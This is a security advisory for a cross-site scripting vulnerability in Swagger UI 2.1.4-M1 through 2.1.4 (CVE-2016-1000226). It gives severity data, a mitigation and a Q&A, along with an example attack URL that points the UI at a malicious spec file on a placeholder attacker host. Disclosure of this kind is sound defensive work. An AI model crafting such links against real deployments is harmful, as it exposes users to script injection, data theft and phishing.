#VU18522 Cross-site scripting in Swagger UI - CVE-2016-1000226

Vulnerability identifier: #VU18522

Vulnerability risk: Medium

CVSSv4.0: 2 [CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P/U:Green]

CVE-ID: CVE-2016-1000226

CWE-ID: CWE-79

Exploitation vector: Network

Exploit availability: No

Vulnerable software:
Swagger UI
Web applications / Other software

Vendor: SmartBear

Description

The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data in Consumes/Produces Parameter. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

Example:

http://[host]/swagger-ui/index.html?url=http://<MALICIOUS_HOSTNAME>/malicious-swagger-file.json

Mitigation
Install updates from vendor's website.

Vulnerable software versions

Swagger UI: 2.1.4-M1 - 2.1.4

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External links
https://www.npmjs.com/advisories/123

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Q & A

Can this vulnerability be exploited remotely?

Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.

Is there known malware, which exploits this vulnerability?

No. We are not aware of malware exploiting this vulnerability. However, proof of concept for this vulnerability is available.